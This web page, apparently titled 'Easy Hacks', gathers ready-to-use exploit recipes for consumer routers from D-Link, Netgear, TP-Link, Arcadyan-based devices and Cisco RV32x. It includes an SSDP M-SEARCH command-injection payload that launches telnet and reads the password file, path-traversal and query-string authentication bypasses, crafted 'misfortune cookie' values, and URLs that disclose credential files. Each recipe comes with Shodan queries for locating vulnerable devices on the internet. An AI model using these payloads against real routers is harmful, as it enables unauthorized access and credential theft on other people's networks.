Easy Hacks

Introduction Authentication can be bypassed on D-Link DIR-802 A1 by injecting a payload into the Search Target (ST) field of the SSDP M-SEARCH discover packet. Exploit Create a text file with SSDP M-SEARCH payload to inject command to start telnet service on port 1234. M-SEARCH * HTTP/1.1 HOST:192.168.0.1:1900 ST:urn:schemas-upnp-org:service:WANIPConnection:1;telnetd -p 1234 MX:2 MAN:"ssdp:discover" Send the payload to UPnP UDP port 1900 using nc. nc -u 192.168.0.1 1900 < payload.txt Connect to telnet service on TCP port 1234.  nc -v 192.168.0.1 1234 View the credentials from file /var/passwd. cat /var/passwd Video

Introduction Path traversal vulnerability in the web interface of routers with Arcadyan firmware (Buffalo, etc.) can be exploited to bypass authentication. Exploit 1. Open Burp Suite and go to Proxy > Options tab and add Match and Replace rule to remove path traversal string from Referer in request header.  Match /images/..%2f and replace it with / 2. Add another Match and Replace rule to prefix all URLs with images/..%2f .  Match GET / and replace it with GET /images/..%2f 3. Now browse the router web interface pages through Burp Suite proxy browser. All the request URLs will be automatically modified by the proxy. Some of the URLs which can be accessed without authentication: http://targetip http://targetip/info.html http://targetip/log_log.html http://targetip/lan_bridge.html http://targetip/save_init.html http://targetip/wireless_band2g.html http://targetip/ap_password_access_date_ntp.html Video

Introduction Information disclosure issue in D-LINK-DIR-615 B2 2.01mt can be exploited to gain access access to the device. Exploit 1. Open the login page of device in BurpSuite Proxy. Click on Login button and intercept the request. 2. Change HTTP Method from GET to POST 3. Change URL to /getcfg.php 4. Provide post data as SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1 followed by new line. 5. Forward the request and view the response in HTTP history tab. Find the password in response and use it to login to the device. Video

Introduction AllegroSoft RomPager 4.34 and earlier used in certain devices has a vulnerability which can be exploited to bypass authentication using a crafted cookie. Device Identification Identify vulnerable devices using shodan query: "RomPager/4.07" "EXT:" Exploit Each firmware has a specific " number " and " offset " value which can be obtained from: https://github.com/threat9/routersploit/blob/master/routersploit/modules/exploits/routers/multi/misfortune_cookie.py For TP-Link TD-8816  router with firmware V6_100907 the number  is 107369788 and offset  is 1. To disable the authentication of this router, cookie to be sent is C107369788=A\x00. For TP-Link TD-8840T V3_110221 number and offset are 107369764 and 5, so cookie would be C107369764=AAAAA\x00. Intercept the request request sent by login page in BurpSuite Proxy and add the cookie corresponding to the firmware as given in figure below. Click on Hex tab and edit the value corresponding t...

Introduction CVE-2020-15896 is an authentication bypass vulnerability in D-Link DAP-1522 Wireless N Dualband Access Point with fimware version 1.4x. Device Identification Identify vulnerable devices using following Shodan query: DAP-1522 Ver 1.4? Authentication Bypass View the web pages of the router by appending  ?NO_NEED_AUTH=1&AUTH_GROUP=0 to every URL as given below: http://deviceIP/st_device.php?NO_NEED_AUTH=1&AUTH_GROUP=0 http://deviceIP/adv_acl.php?NO_NEED_AUTH=1&AUTH_GROUP=0 http://deviceIP/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0 Automation Using Burp Suite Proxy Match and Replace In Burp Suite, Proxy > Options tab, add a Match and Replace rule to replace " HTTP/1.1 " with " ?NO_NEED_AUTH=1&AUTH_GROUP=0 HTTP1.1 " From now on, every request in browser will be automatically appended with ?NO_NEED_AUTH=1&AUTH_GROUP=0 . Video

Introduction Authentication bypass vulnerability exist in Netgear DGN2200 N300 Wireless ADSL2+ Modem Router version v1. Device Identification Identify vulnerable devices from the results of following Shodan search query: netgear dgn2200 Authentication Bypass View the web pages of the router with out any credentials by appending ?test.gif to every URL as given below. http://deviceIP:port/RST_status.htm?test.gif http://deviceIP:port/BAS_pppoa.htm?test.gif http://deviceIP:port/WAN_wan.htm?test.gif Automation Using Burp Suite Proxy Match and Replace In Burp Suite Proxy > Options tab, add a Match and Replace rule to replace " HTTP/1.1 " with " ?test.gif HTTP1.1 " From now on, every request in browser will be automatically appended with ?test.gif . Video

 Introduction Login to vulnerable DIR series routers (eg. DIR-600) by viewing cleartext credentials. Device Identification Identify vulnerable devices from the result of following Shodan query. http.favicon.hash:1037387972 Mathopd/1.5p6 View Credentials View the content of /var/etc/httpasswd file by appending following to router web login page URL. /model/__show_info.php?REQUIRE_FILE=%2Fvar%2Fetc%2Fhttpasswd Login to the router using the credentials displayed on the left side of page. Video

Introduction Vulnerability CVE-2019-1653 allows export of a configuration file from vulnerable Cisco RV320 and RV325 series routers. This could be exploited to gain administrative access to the router. Device Identification Identify the vulnerable devices using shodan query: http.favicon.hash:-299287097 Apache Configuration Export Export the router configuration file by appending  /cgi-bin/config.exp to the IP address of the router. Authentication Bypass Open the configuration file and get the username and password hash. Start Burpsuite  In Proxy tab click on Open Browser  to open Burp embedded browser. Open the router web management url in Burp embedded browser. Turn on intercept in Burp proxy. Enter the username as in configuration file and any password. In the burp proxy Intercept , replace value of password= parameter with hash in configuration file. Forward the request and turn off the intercept to login to the router. Video Reference: https://www.redteam-...